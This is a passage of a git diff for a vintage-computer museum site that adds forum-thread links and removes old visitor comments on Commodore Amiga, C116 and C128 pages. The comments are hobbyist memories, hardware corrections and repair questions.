url: http://video.google.com/googleplayer.swf?docId=8978343825632445107&hl=fr text: 'Length: 29 min 18 s' - comments: - - author: Conrad (Vancouver, British Columbia, Canada) - date: Sunday 11th September 2011 - text: Some of the information in the main text body is incorrect, in addition to 3 ISA slots and 1 AGA video slot, there are also 4 Zorro III slots for cards designed specifically for Amigas. The ISA slots are not active, in their factory configuration they only provide power lines. You need a bridgeboard that connects to both a Zorro and an ISA slot to make them active. The Zorro III slots are also backwards compatible with Zorro II cards, such as cards designed for the Amiga 2000. - - author: ProgMizer (USA) - date: Monday 5th September 2011 - text: Software hut is still selling most versions of the amigas there web site address is http://www.softhut.com/cgi-bin/test/Web_store/web_store.cgi - - author: brandon (Pasadena,California) - date: Friday 27th February 2004 - text: Where can i get a Amiga 400 CHEAP with Video Toaster installed in it ???? - - author: Joseph Feero (Watertown Ct) - date: Wednesday 26th February 2003 - text: where can i get some prices - - author: xaccrocheur (Paris) - date: Monday 24th February 2003 - text: This machine is a killer. I mean, this is ALL one need as a main computer, period. related: - /museum/commodore-amiga-1000 - /museum/commodore-amiga-1200 diff --git a/content/museum/commodore-amiga-500-plus.md b/content/museum/commodore-amiga-500-plus.md index 46f7dfa3..215ad76d 100644 --- a/content/museum/commodore-amiga-500-plus.md +++ b/content/museum/commodore-amiga-500-plus.md @@ -68,6 +68,7 @@ params: - emulators - links - videos + forum_thread: 1227 photos: - title: AMIGA 500+ subtitle: '' @@ -224,19 +225,6 @@ params: - title: 'Computer Chronicles: Amiga & Atari (1985)' url: http://video.google.com/googleplayer.swf?docId=8978343825632445107&hl=fr text: 'Length: 29 min 18 s' - comments: - - author: Speedy-san (Netherlands) - date: Thursday 19th May 2011 - text: I have one of these, but it came with dual kickstart roms that are switchable. I''ve noticed that the floppy drive is a bit more quiet than the original A500 drives. Sadly the battery is indeed dead and decayed, having left a white crust on the motherboard which I think is oxydized lead. I do have a spare battery but I have to look into how I can best remove the encrusted lead without damaging the motherboard. The thing still runs beautifully and puts out a better videosignal quality than my A1200''s! - - author: Kalle (Finland) - date: Tuesday 14th December 2010 - text: The A500+ does have a battery for real-time-clock. If you find these babies please check it, because almost 20 years old batteries do leak and destroy the motherboard! New battery is very cheap and it''s easy to change (only 3 legs to solder)... - - author: Mr Two (Germany) - date: Monday 14th June 2010 - text: |- - When i bought it, the Price was (end of 1991) 799DM. - - You could change the 2.04 - Kickstart-Rom by a 1.3 - Kickstart-Rom and make it fully compatible with a standard A500. related: - /museum/commodore-amiga-1000 - /museum/commodore-amiga-1200 diff --git a/content/museum/commodore-amiga-500.md b/content/museum/commodore-amiga-500.md index 233d6431..7d78d8bb 100644 --- a/content/museum/commodore-amiga-500.md +++ b/content/museum/commodore-amiga-500.md @@ -73,6 +73,7 @@ params: - emulators - links - videos + forum_thread: 81 photos: - title: BOX subtitle: '' @@ -261,152 +262,6 @@ params: - title: 'Computer Chronicles: Amiga & Atari (1985)' url: http://video.google.com/googleplayer.swf?docId=8978343825632445107&hl=fr text: 'Length: 29 min 18 s' - comments: - - author: Dom - date: Friday 28th August 2020 - text: To be slightly pedantic, should point out that if I remember correctly, the Amiga actually had superior MIDI capabilities but the Atari ST applied common sense and actually built in the MIDI ports, which was a winner over needing a separate dongle for the Amiga. - - author: Niels Roskam (Australia) - date: Monday 4th April 2016 - text: My 2nd computer which lasted me for many and took me through my Computing Science Uni from 1988. Living next to the German border I had access to the active German after market for Amiga equipment. Had a kickstart 2.04 chip upgrade, 2MB RAM upgrade, an external (non-Commodore) 20MB Seagate harddrive... great machine it was. - - author: Jamie (Uk) - date: Monday 16th March 2015 - text: I loved my Amiga 500, I used to make music on mine with a program called"Octomed". I wish I still had it, it was awesome. - - author: Gavin (Plymouth, England) - date: Monday 27th February 2012 - text: 'I loved the Amiga 500. Had a friend who did amazing artwork on Deluxe Paint. My fave games were Gods and Lotus Turbo Esprit (2 player) also Kick Off 2 and Player Manager. Best of all I remember Geoff Crammonds F1 GP, used to go round a mates house and get drunk turn all the AI cars white and race a few mates against them (WARNING KIDS: DO NOT DRINK AND DRIVE!)' - - author: Rui Sousa (Porto/Portugal) - date: Saturday 17th September 2011 - text: Amiga is the best computer ever, me and my brother own 2 A-500 and 2 A-1200 all fully working these days, my favourite games on the amiga are, Sensible world of soccer, Dune 2 "the battle for arrakis", napalm, F1 GP, Gods, The Duel test drive 2, Rodland, Arkanoid, Great Courts 2, Cannon Fodder...we just love our good old AMIGA - - author: Trish (USA) - date: Friday 15th July 2011 - text: My favorite game for my Amiga 500 was ... LEISURE SUIT LARRY. I felt like the coolest kid on my block when I got my amiga. Oh memories. - - author: Ugo Capeto - date: Thursday 4th November 2010 - text: it was a tough choice for me between the amiga 500 and the atari st. Yes, the amiga is probably better overall but the atari st had the MIDI ports. Anyways, i ended up getting neither and was stuck with a Commodore 64 (not a bad machine for a music maker, mind you). - - author: Sakuri Rainne (Michigan, USA) - date: Friday 26th March 2010 - text: I was born in 1991, so the Amiga was a big centerpiece in my household all the way up till 1997 when we FINALLY got ourselves a PC. Even then, the Amiga stayed in the family room next to our Amiga 500 for another year or so. The finally-retired machine is in my bedroom connected to a flat-panel TV. Boring story, I know, but it certainly speaks for the longevity of the Amiga 500. I remember my mom connecting to a BBS named "The Ruthless Gameboard" and download a lot of .lzh files... Many of them are still laying around on the desktop, ready to be expanded. Before I went off to college, I plugged the Amiga into my laptop and recorded ALL of the music. A few tracks find their way into my party playlist. - - author: Dean (Arizona/USA) - date: Sunday 7th March 2010 - text: 'Need: QUARTET music software - for the AMIGA 500 $ or an IBM version if there is one! OR an alternate music program that has POLYPHONIC sound...help please!' - - author: brian (kent) - date: Wednesday 15th July 2009 - text: Have you looked @ ebid.net for amiga bits - - author: Damian (UK) - date: Thursday 14th August 2008 - text: |- - Wow, that's what I thought when I first saw an Amiga back in 1989, truely ahead of it's time, what other machine could produce the sound and graphics of an Amiga. And lets not forget, the first OS to be fully multitasking. - - I've still got my Amiga 500 up in the loft, bit yellowed now but it still works. Ahhh memories... I remember when I bought my A570 CD drive for it, was blown away with the idea you could get 600 floppy disks on a CD!!! - - author: Gwion (Wales) - date: Wednesday 10th January 2007 - text: I have a Amiga 500 and i'm twelve years old i love my amiga i thinl its better than microsoft (well it is really) I play all my games on it and if people ask me what pc do i have i say my Amiga 500 its fully updated with a 8meg fast ram and I do everything on it even my homework AMIGA IS THE BEST!!! - - author: JJ (MONTEVIDEO/URUGUAY) - date: Saturday 23rd July 2005 - text: |- - I had an A500 (ntsc with 1 meg of ram).\ - I remember those days like something special.\ - The first time a opened the blue box with the machine inside.\ - ....\ - I couldn't believe the posibilities of this creation in the graphics and multimedia ground.\ - Real advantage hardware for those times. - - author: tomm (u.k) - date: Wednesday 22nd June 2005 - text: i own a amiga A500 plus but i cant get it to load up , it just goes red - - author: everton sebben (brazil) - date: Friday 17th June 2005 - text: SPIRIT. Amiga 500 was the revolution. It captured our minds. REMEMBER THE SOUND CAPTURE device? STUNNING. I need help. IM desperate to find the game SUPREMACY and MILENIUM. Man, help out here cuz i am really sick about it. My amiga times were the best ever. The sound. Remember QUARTET SOUND? Was really impressive, the software design and machine possibilities exploration. Man, good times...i wish i could live it again... - - author: Darren (UK) - date: Friday 8th April 2005 - text: |- - Guru Meditation....and programming the machine in Shell - grrrrrrr! - - and that ticking disk drive! Excellent! - - author: Bruce Balling (USA) - date: Thursday 30th December 2004 - text: I have a Amiga 500 and a lot of extras and software the monitor does not work but that was all. I have been for years trying to find a way to get the music or mod ripped from a game made by Mindscape of the UK called Captive, not captive II, Please help me I would love to have that music, and would like to set up the Amiga again or sell it. Thanks Bruce - - author: Jeff (Baltimore, MD) - date: Tuesday 16th November 2004 - text: |- - Hi. I loved my Amiga 500, it was so advanced for it's time. It had a 'soul'.\ - Does anyone remember a game called Stunt Car Racer, or a game called Pinball Fantasies, or a game called Micro Machines, or... I could go on and on.\ - I used mine back in the day for WWW3 (bulletin boards), gaming, and desktop publishing. I remember the OS shell had a steep learning curve, and I never had a hard drive, but it was a powerful OS with true pre-emptive multitasking. I wish computers like this were still made, machines with passion and soul. I have yet to come across a better computer that I can call 'the best'. The cool thing about the Amiga was it was truly way better than anything at the time, but only a handful of people knew about it or had one. It was like a secret club. - - author: Alan Goodwin (UK) - date: Wednesday 8th September 2004 - text: |- - Yay! The Amiga 500! I still have one of these in the bottom of my wardrobe. One of my richer college friends got one of these for xmas, and after I had a play with it, I had to have one. Saved, begged, stole and borrowed the ridiculous 600 quid and never regretted a penny of it. There were so many games for it, bu the best innovations were in the prolific underground scene. I had stacks of disks with some quite stunning and technically astonishing demos on by various geek groups (mostly from the netherlands, if I remember correctly). - - I mainly used my "girlfriend" (Amiga is spanish for girlfriend...so very, very saaaad!) for music composition on various "trackers" which were freeware and circulated faster than a joint at a student party. I ended up with literally thousands of samples (taken directly from tape and CD through a sampler which plugged into the serial port on the back which I acquired for 30 notes) and exploited the midi capabilities (another add-on...the only reason anyone had to get the rival Atari machine was the built-in midi port). I only stopped using it recently in this capacity when I got a 10 track digital recorder and mixer. - - Man, I still love my Amiga! - - author: Ken Sayer (Dexheim, Germany) - date: Friday 3rd September 2004 - text: |- - I have acquired a few Amiga 500s the past few months and have been learning much about hardware and software applications for the A500. I would suggest if anyone needs help in the upgrade or operation of their A500, search the internet for your questions. Just be sure to mention the 'Amiga 500' in your search inquiry. You will be surprised how much good information is available from many U.S. and Euro websites. - - Enjoy your Amiga 500, they are fantastic!! - - author: rafal (poland) - date: Wednesday 1st September 2004 - text: A500 is just the best stuff. - - author: kris coll (scotland fife) - date: Monday 7th June 2004 - text: |- - hi just got an a500 plus of ebay its good to have my old frend back am just wondring what i can get of the net in terms of software through my pc and is there anything i can buy to supe it up software wise or hardware wise thanks email if u have any tips - - cheers - - kris - - author: Fahed Al Daye (Canada, Montreal, Quebec) - date: Friday 29th August 2003 - text: AMIGA 500 is the best computer in the planet, it have the coolest spirit in the world. First off all the graphics of the amiga 500 is so superb I was not surprised to hear that the amiga 1200 compare to macintosh if not even better in terms of graphics. I love my baby and I can hardly wait to enjoy every single game in it. AMIGA ROCKS AND RULES. Amiga 500 is the DA computer and I just wished it remained alive for both business and entertainment. ARRRGHH!! Damn you bill gate \* waves fist in the air \* - - author: Pedro Jorge Reduto G. Ariz (Portugal) - date: Sunday 10th August 2003 - text: Hi!I've got an Amiga 500 that isn't working properly. When i try to start with any game or other software program, after inserting the floppy disk on the respective drive, the system blocks and reboot after 5 seconds moreless. Can anyone help me and tell me what i can do to solve this problem? Thanks. - - author: brad duval (australia WA) - date: Sunday 27th July 2003 - text: Hi Would you please be able to help me I have a commodore AMIGA 500 given to me for my children and I need all the Instructions about assemabling, what cable goes were plus other Instruction on how it works. regards bradley. - - author: Glyn Cowan (Paisly, Scotland) - date: Thursday 10th April 2003 - text: Help please can anyone please copy for me the set-up, fonts and utilities disc that were supplied with the commodore 500 when new. I have searched loads of market stalls and second hand shops, I've found lots of games but not these particular discs. I can supply the discs and I am more than willing to pay postage if you can help contact glyncowan@hotmail.com - - author: JCSid (Athens) - date: Thursday 6th March 2003 - text: |- - I just got an Amiga 500 from a friend and would like to start with it. Any idea where I could get any piece of OS which could do something, taking into consideration that no HardDisk is installed on this computer.\ - Thanks - - author: RICK (netherlands) - date: Wednesday 19th February 2003 - text: |- - who is have some datasheets for my amiga 500?\ - pleas send them to my email. - - author: Daniel Blackburn (Lancashire, England) - date: Sunday 2nd February 2003 - text: |- - Hiya, just purchased an Amiga 500 off Ebay from someone in London, and as I live in Lancashire it will need to be posted. Trying to work out how much this is going to cost me, but does anyone know how heavy the Amiga 500 is? I had one years ago, however it broke, hence buying a new one...an excellent piece of equipment, you can't beat the old ones! hehe. - - I would appreciate if anyone could let me know so I can work out how much the postage will cost me. - - Regards,\ - Dan Blackburn - - author: John (Utrecht, The Netherlands) - date: Monday 27th January 2003 - text: I just love my Amiga 500. - - author: paul (Europe) - date: Wednesday 15th January 2003 - text: I agree with Czarl Amiga OS is one of the best operating systems I have ever used and compares will to today’s versions of M$ Windows and the UNIX family of operating systems. As far as I know both Amiga OS and new Amiga hardware is still under development and the new generation of Amiga with a new version of Amiga OS and IBM Power PC hardware should be available soon / now. - - author: James (Australia) - date: Sunday 10th March 2002 - text: I aggree with you Domenic, the amiga is still my favourite computer system, I have a PC now that has the works and the games are great but the amiga is an amazing machine and still on the top of my favourite list. I had an amiga about five years ago and regret ever getting rid of it, I am currently planning on getting one again and fixing it up. - - author: Czarl (Victoria, British Columbia) - date: Saturday 9th March 2002 - text: |- - Amiga OS was the best OS of its time. It was a multi-tasking OS when M$ was running Win3.1. M$ has finally caught up to Amiga for multi-tasking capabilities. Imaging where AmigaOS would be today, some 15 years later !! - - Unfortunately Amiga's demise came when businesses where mainly IBM machines and therefore most software got developed for it. - - That's my 2-bits worth. - - author: Domenic S. (Asia) - date: Thursday 24th January 2002 - text: The Commodore Amiga 500 is by far one of the most spirited computers ever to grace this planet. Elements of the graphics and sound capabilities are still unparalled today. Even taking the hardware of the Amiga 1000 and compacting it into a keyboard shell didn't effect its expandability. Many accelerators were developed to fit right inside the casing. Harddisks and ram could be easily added via the simple expansion slot on the side. In terms of software and hardware performance, the Amiga 500 leaves a tremendous gap for which other computers should fill and which "PCs" may never be able to attain. related: - /museum/commodore-amiga-1000 - /museum/commodore-amiga-1200 diff --git a/content/museum/commodore-amiga-600.md b/content/museum/commodore-amiga-600.md index 8f514728..78603a96 100644 --- a/content/museum/commodore-amiga-600.md +++ b/content/museum/commodore-amiga-600.md @@ -68,6 +68,7 @@ params: - emulators - links - videos + forum_thread: 80 photos: - title: AMIGA 600 subtitle: '' @@ -290,63 +291,6 @@ params: - title: 'Computer Chronicles: Amiga & Atari (1985)' url: http://video.google.com/googleplayer.swf?docId=8978343825632445107&hl=fr text: 'Length: 29 min 18 s' - comments: - - author: michael nurney (uk) - date: Saturday 22nd July 2017 - text: The Amiga laptop comment is incorrect, there was no amiga laptop after the 8 bit laptop was canned, none was ever considered. The A600 was the bastard son of the cancelled A300 that Commodore Uk requested and agreed on. The German commodore group however insisted on a hard drive and thus a big increase in cost. When the 600 was finally ready - none of Commodores divisions ordered it - no one wanted it. It was supposed to be a cheaper A500 (A300) and upgradable with plug in hard drive, ram etc up to the A500 spec - - author: Fredrik - date: Thursday 5th August 2010 - text: The Amiga 600 is famous for being the most hated of all Amiga''s! Commodore really screw up things with this model and made a lot of confusions. It was more expensive and had same performance as the Amiga 500!?! What is the point?? However, today you can get them much cheaper than an A1200 and upgrade it with 2Mb memory and a compact flash disk of 2Gb which makes it a great little gaming machine. Back in 1992 however it was a disaster! - - author: Darren Holt (Australia) - date: Monday 25th May 2009 - text: |- - Originally the Amiga 600''s mainboard was disigned and developed to be Commodores first attempt at a "Laptop Computer"!\ - (Hence, the reason behind the lac of "Numeric Keypad" and the built in "PCIMA slot") Poor sales of the 500+ put pressure on Commodore to release it''s successor, all that was available at the time was the prototype "laptop mainboards"!\ - Sadly the "Laptop Amiga" was canned, and the "600" was born!\ - Oh, what could have been!? - - author: JOE HARDISTY (STALYBRIDGE) - date: Friday 20th January 2006 - text: THE AMIGA 600 WAS EXELLENT I KNOW EVERYONTE "SAYS" IT BUT YES THE PROGRAM SAY IS FANTASTIC WHEN I WAS ABOUT 5 I HAD LOADS OF FUN ON SAY. PLEASE FEEL FREE TO E-MAIL ME AT ANTHONYH055@HOTMAIL.COM P.S. DOES ANYONE KNOW IF I CAN USE A HP LASERJER 4 PLUS ON IT? - - author: eRin (New Zealand) - date: Sunday 6th November 2005 - text: |- - I think it was about '94. You can get the internet if you have an external modem, and an internet browser. i would suggest just using pc/mac for the internet, because you will scream at how long it would take to load pages, Amigas are really awesome but for basic apps, I use mine for music composition and well, games. I bought the A500 as gaming console, but the fact it came with the 501 memory ext and hdd meant I even had an OS loaded and I got a PC emulator as well. - - what I haven't figured out yet, or havent tried, is getting the emulator in and plugging in some DOS games. - - author: Michael Tesh (sheffield) - date: Wednesday 25th May 2005 - text: The A-600 is a great computer, i think the program speech synthesizer on workbench called SAY is quite advanced for how old the machine is it is quite realistic. - - author: Ekkehard Morgenstern (Germany) - date: Tuesday 17th May 2005 - text: |- - I still have my A-600 (I had an A-3000 and have an A-1000 and A-1200 also). The A-600 was a great little portable computer, which wasn't quite like the Amiga notebook or laptop that was never manufactured (thanks to C='s licensing policy), but it was useful noneless, you could just throw the A-600, the power supply and some cables into a bag and plug it into a monitor elsewhere. - - The great thing about both A-600 and A-1200 is the built-in IDE interface which allows for 2.5" notebook drives to be connected. - - The bad thing about the A-600 is its little built-in memory of 1 MB, the lack of a battery-backed up clock (which could be added with some plug-in board), and the slow 7.16 MHz 68000 CPU (which also could be replaced with plug-in boards). - - However, for older or smaller Amiga applications, the A-600 was quite suitable, and it was possible to use applications that were bypassing the operating system (like many games). - - A true novelty for that time was the PCMCIA slot (that the A-1200 also has), which was used for some expansion cards or interfaces. - - My A-600 is still in working order; so despite its cheap casing, it was durable nonetheless. - - The A-3000 and A-1000 models had internal shielding which also kept the dust away -- not one grain of dust in those. - - author: Matt (Earth) - date: Tuesday 21st December 2004 - text: Commodore went broke in 1994 I belive. Gateway bought them. - - author: Anonymous (USA) - date: Saturday 16th October 2004 - text: |- - I had one of these machines back in the 90's, being so small it was ideal for a cramped teenagers bedroom. However I regretted it about a week after buying it. - - The disk drive was awful! It made a horiffic grinding noise whenever it read or write, and the whole case had a very flimsy quality to it. By the time it was released it was already a bit behind the times, and struggled a lot with "serious" applications. You could buy a CPU accelerator board that took the speed up a bit, but as the case was so awkward inside it had to held in place to a wodge of folded cardboard. The PC card memory expansions were hard to find. - - author: Glyn Cowan (Glasgow) - date: Friday 7th March 2003 - text: help can anyone give me a copy of the 4 discs that were supplied with the amiga 600 you know the ones withe the fonts and the printer set up stuff and that grovey speech program if so contact me at glyncowan@hotmail.com - - author: steve (Devon, England) - date: Tuesday 17th December 2002 - text: I have an Amiga 600 and it is good - I have Sensible World of Soccer 95/96, and i need some help with it. When did commodore/amiga go broke? and can i get the internet on my amiga? related: - /museum/commodore-amiga-1000 - /museum/commodore-amiga-1200 diff --git a/content/museum/commodore-amiga-600hd.md b/content/museum/commodore-amiga-600hd.md index 8b75b49a..6ba8055a 100644 --- a/content/museum/commodore-amiga-600hd.md +++ b/content/museum/commodore-amiga-600hd.md @@ -68,6 +68,7 @@ params: - emulators - links - videos + forum_thread: 1228 photos: - title: AMIGA 600HD subtitle: '' @@ -224,28 +225,6 @@ params: - title: 'Computer Chronicles: Amiga & Atari (1985)' url: http://video.google.com/googleplayer.swf?docId=8978343825632445107&hl=fr text: 'Length: 29 min 18 s' - comments: - - author: edwin brindle (Canada) - date: Friday 1st January 2021 - text: Trying to get my hands on a retro A600 but so many issues with he old disks. Any advice on how to get a live working Amiga that can play lemmings and cannon fodder - - author: Mark (UK) - date: Sunday 25th April 2010 - text: I still own one of these, except now, I''ve replaced the Internal HDD, with a Compact Flash HDD, which runs a lot faster, and quieter. - For me, the Amiga brought some great games to the table, which for me are Cannon Fodder, KGB, Manic Miner (the Amiga version, not the Spectrum Version), Lemmings, Troddlers. - I won''t ever sell this system, I grew up with it practically, and still play the games when I can :) - - author: Brandon Gainforth (USA) - date: Tuesday 19th June 2007 - text: |- - Way back when I was in the lower grades of elementary school, I remember these being about. This was the computer we had upgraded to from the C64's. If I remember correctly, ours was shipped with Workbench 3, which allowed up to 256 colors to be used on the desktop. The harddrives we had were 20 MB, and the "techies" at our school installed children's games (Ready Robot Club comes to mind).\ - However, I was helping one of the techies dig through some old boxes, and we came upon an Amiga 600 HD/80, the highest size hard drive, if I recall correctly. Going through, I found that it had been used as sort of a pre-Video Toaster! It had software that took advantage of the 4096-color HAM mode and allowed for 3D rendering animation. - - Correct me if I'm wrong, but Atari never did that, did they? ;) - - The Amiga 600 was a powerful machine indeed, even if it wasn't the MOST powerful. Its ability to multitask and its sound and video capabilities made it a VERY powerful computer. Kickstart wasn't particularly easy to upgrade; I believe you had to disassemble the Amiga to get to it. - - Since Kickstart came in a ROM chip, it was actually quite simple; instead of installing an endless amount of drivers (as our modern-day computers require), no hard drive space would be wasted, leaving room for...Say...Workbench and a whole other list of programs. - - The computer came with a PCMCIA slot on the side (though I don't quite know for what. Perhaps internet?) - - Its RF output was color, as opposed to the mono on the Amiga 500's. related: - /museum/commodore-amiga-1000 - /museum/commodore-amiga-1200 diff --git a/content/museum/commodore-amiga-cd32.md b/content/museum/commodore-amiga-cd32.md index cf51929d..fa0d714b 100644 --- a/content/museum/commodore-amiga-cd32.md +++ b/content/museum/commodore-amiga-cd32.md @@ -9,6 +9,7 @@ params: company_name: Commodore tabs: - photos + forum_thread: 1229 photos: - title: AMIGA CD32 subtitle: '' @@ -18,21 +19,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/commodore_amigacd32_pad_1.jpg - comments: - - author: Mark Raymond (USA) - date: Monday 16th March 2015 - text: There was a device created for the CD32 that plugged into the back expansion port. It was called the SX32. The device added parallel, floppy, keyboard and mouse ports. It also had a VGA output. A laptop hard drive would fit on the card as well. Once installed the CD32 acted like a 1200 with a CDROM. A nice toy but a bit pricey. - - author: matthew (United States) - date: Thursday 22nd May 2014 - text: i have one of these and love it also the FM towns marty was the first 32 bit cd system it beat this by about 6 months and the akkio was to keep people making cd rom drives for the a1200 to upgrade it and for chunky to planar conversion for FPS games and the like - - author: Steve Bryce (Earth) - date: Friday 17th December 2010 - text: |- - The controller did indeed have a d-pad (I assume that it is 8-way) with 7 buttons. - - On the face of the controller there were four round buttons - red, yellow, green and blue - and a Start/Pause button. There were also two shoulder buttons designated ''Left Top'' and ''Right Top''. - - As the CD-32 was also designed to be used as a CD player (and indeed a Video-CD player with the addition of the MPEG decoder cartridge) the buttons were all also labelled with controls for the CD player functions - Play/Pause (on the Start/Pause button), Stop (on the blue button), Fast forward and Rewind (on the Top Right and Top Left buttons), Repeat (on the yellow button) and shuffle (on the green button). The Red button was also designated the ''Select'' button. oc_id: 1262 source: url: https://web.archive.org/web/20230128074756/http://www.old-computers.com/museum/computer.asp?c=1262 diff --git a/content/museum/commodore-c116.md b/content/museum/commodore-c116.md index 8c9656a6..1cd1e65f 100644 --- a/content/museum/commodore-c116.md +++ b/content/museum/commodore-c116.md @@ -63,6 +63,7 @@ params: - hardware - emulators - links + forum_thread: 1095 photos: - title: C116 AND PERIPHERALS subtitle: '' @@ -110,30 +111,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: Discussion about Commodore micros - comments: - - author: Richard (Australia) - date: Monday 23rd December 2013 - text: Hi guys, I have a Commodore 116. I purchased it from the US but bought it without a power adaptor. Seems like a rare machine, as you don''t see many on line at all. - - author: Thomas Cherryhomes (USA) - date: Sunday 5th December 2010 - text: |- - Guys, - - The comment about the C116 being a cut down C16 is \_VERY\_ wrong. - - Bil Herd, the machine''s designer has said, on many occasions, that the original host for the TED \_WAS\_ the C116, a $49 machine intended to compete with the Sinclair line of machines. - - The resulting design was then twisted by management, to become the 1xx, 2xx, and 3xx machines... 116, 232, 264, 364 etc respectively (the difference between the 264 and 364 being that the 364 had a numeric keypad AND the Magic Voice cartridge built onto the motherboard) ... - - The 264 was then taken by management, had productivity software bolted onto it, and it became the Plus-4, a machine with little Commodore 64 compatibility, costing in the same price range as the Commodore 64. A total fail. - - The Commodore 16, came LATE in the TED''s development lifecycle, when management decided that they needed to have a replacement for the VIC-20, so they took the VIC-20 cases and keyboards, repainted them, and refactored the TED design to fit in them. - - author: lizardb0y (New Zealand) - date: Saturday 28th August 2010 - text: 'Some years ago I bought one of these in New Zealand. I was told by the seller that it has been imported by the New Zealand distributer (or maybe Commodore NZ) to evaluate, but it was such rubbish they decided not to sell it here. Only the single unit was ever officially imported. I have subsequently lost the email correspondence about it, so if you have any further info about this particular machine, please get in touch with me: http://www.evil.geek.nz/contact' - - author: Chris (Great Britain) - date: Thursday 22nd July 2010 - text: Hey guys, great site. Just thought I''d point out that you got the C116''s co-processor wrong, it''s the TED, not the VIC-II. related: - /museum/commodore-c16 - /museum/commodore-plus-4-c232-264-364 diff --git a/content/museum/commodore-c128-c128d.md b/content/museum/commodore-c128-c128d.md index c33e5d80..fd941345 100644 --- a/content/museum/commodore-c128-c128d.md +++ b/content/museum/commodore-c128-c128d.md @@ -73,6 +73,7 @@ params: - links - docs - videos + forum_thread: 111 photos: - title: C128 subtitle: '' @@ -408,104 +409,6 @@ params: - title: C64 assembly line pictures! url: https://www.youtube.com/watch?v=6vzfJLVS2YI text: 'Length: 6 min 56 s' - comments: - - author: Gary (US) - date: Tuesday 15th March 2011 - text: |- - I remember a distinct feature of the C128 that the C64 didn''t have, out of the box... - - Play "A C B C B C A" - - Music! - - author: Jon Fukumoto - date: Friday 17th April 2009 - text: Ahh yes!! The C128!! I had one of those!! There is one more tidbit. When you power on the machine, there''s a hidden message which showed the designers of the C128. Type SYS 32800,123,4,5 and voila it pops up. There''s also hidden messages in the 1571 and the 1581, but I don''t remember how they were activated. - - author: TheGrandRascal (NJ, USA) - date: Saturday 8th February 2020 - text: |- - I actually still have $ and, (very) occasionally, still USE! $ my Commodore-128! - - In addition to the C128 itself, I also have: - - 1\. An attached CMD SuperCPU$ - - 2\. A CMD RamLink (16MB)$ - - 3\. Two 1571''s (both wth JiffyDOS)$ - - 4\. A 1581 (also with JiffyDOS)$ - - 5\. A CMD FD-2000 (which came with JiffyDOS preinstalled $ it also has a realtime clock installed)$ - - 6\. A Commodore 1084 color monitor$ and - - 7\. A Seikosha SP-1000VC dot-matrix printer. - - And THEY ALL WORK!!! Yay!!! - - All hail my Commodore might! $$9786$ - - author: mike (United States) - date: Tuesday 18th April 2017 - text: '@STEVE - you can install an emulator to run your programs . Google c128 emulators' - - author: Steve (Queens, New York) - date: Thursday 2nd February 2017 - text: |- - Just cleaned out a desk draw and found an old TIMEWORKS box that Word Writer 128 came in. There are about a dozen floppys with some stuff on them that I would like to see. I live in New York City and would like to contact someone in this area with a 128 who could possibly open the floppys and print out anything worthwhile to me. I still have the Word Writer program and would give it to anyone who could help me, and I would of course cover any expenses.\ - My e-mail address is mandelsm@gmail.com - - author: Deathstrike - date: Saturday 3rd September 2016 - text: A truly revolutionary machine!!! The C128 had 128,64, and CP/M straight out of the box!!!! 3 machines in one making it arguably the best 8 bit computer ever made. I just wished they had made more games to take advantage of the 128 mode, they had a GEOS version that did and it was great!! Had this machine been introduced at the time of the Apple II and even the first IBM PC, I believe it would have been a real game changer and a great option for business and education. - - author: Ali Raza (Pakistan) - date: Tuesday 16th August 2016 - text: Commodore 64 , still remember that RoboCop Game and its diskette ,the character fires while move front leg backwards, sweet n unforgettable memories . - - author: Petar Whywar (Croatia) - date: Tuesday 17th November 2015 - text: |- - I am an (very) old commodore c128 computer user. In my attic I found my old „ c128”. After looking over his main PC board I was surprised by one special part designed like: COMMODORE FAB P/N 825091-01 (or 325091?) which care 28 pin chip: JAPAN 8515, U1009SS0, HN 482764 G. Additionally information,$ that peace of board with chip is connected to the 24 pin, U18 place (normally, at that place should be ROM 64K 128 Char, part No 390059-01!? That part carry also a strange text etched into the copper of the board of C128 computer. That phrase sounds like: RIP: HERD/FISH/GUAY/PAR.\ - I will be appreciate if somebody give me a clue what that staff is. - - author: Roger Rabbit - date: Tuesday 6th September 2011 - text: Actually the author''s correct about the Commodore 128 C64 mode CPU speed, it is 1022MHz (US Specification based on 120v 60Hz power) 922KHz (European Specification, based on 240v 50Hz power) the difference is solely in how the clock handles the incoming power frequency. - - author: Andres Serrano (Spain) - date: Tuesday 31st May 2011 - text: The speed in C64 mode is incorrect, should be the same as the C64, which is 0.980 MHz (PAL). - - author: Shadow (USA) - date: Friday 8th April 2011 - text: |- - I had an original 128 but only got a fair deal of use out of it before moving on to the PC, my 64C was my baby especially after all of the mods. - - I had a buddy that had a 128D, but it always worked.... odd in 64 mode for soem reason, never knew anyone else that had one, so not sure if it was all of the models or just his. - - author: SPJ Perera (Sri Lanka) - date: Wednesday 19th May 2010 - text: Well Mr.Alonso, you can sell your Commodore 128 computer to me! - - author: Simon (Perth, Western Australia) - date: Friday 11th November 2005 - text: |- - I love my c128s. Im building an ultimate c128 setup. So far the c128 is painted electric blue. I plan for it to have switchable ROMS with LCD readout, Jim Brains IDE/Flash interface built in, possibly an internal HD if I can fit it and an upgraded power supply. The blue 1571 will have switchable roms with LCD readout too :) - - Ill post here when finished.... - - author: Alonso (New Orleans, La) - date: Saturday 5th November 2005 - text: I have a Commodore 128 system and i dont know what to do with it. Any suggestions? - - author: Diego Mezzini (Argentina) - date: Friday 7th October 2005 - text: can i adapt another keyboard to the c128d? - - author: Daniel (Sweden) - date: Monday 27th June 2005 - text: |- - i just think the 128 has the most beutifull design of all computers of all time\ - I rmember that a friend of mine had a 128D and damn he was proud if it ;) Myself had a c64(c) but started my computer life with a vic20 then c64c until i went over to Atari and my Atari 520Stm (upgrader ti 1mb) until the PC took over completely..but damn it was so much better before ;) - - author: Adam C. (NY/VA/GA, USA) - date: Sunday 28th November 2004 - text: |- - Hey Héctor Castañeda , check out star commander http://sta.c64.org/sc.html it should help.\ - C128 was what I upgraded to from C64... had the extra SID chip soldered in for 6 sid channles in stereo! Remember playing a C64 and a C128 at the same time with axel foley in both availible keys. Oh yah I was totally a geek. - - author: Héctor Castañeda (Lima, Perú) - date: Wednesday 28th April 2004 - text: I've got important documents stored on 5 1/4" diskettes, made on a Commodore 128D, wich i need to convert to PC format. I don't have the Commodore anymore, but I do the external Dktte Drive . Is there a way to connect it to the PC? Do you know where can I get this data conversion service? - - author: Malc (UK) - date: Tuesday 22nd April 2003 - text: I got the 128MB RAM pack for my 128 which was useful for a CP/M RAM disk - speeded up compilation of COBOL (Utah or was it Nevada COBOL?) programs 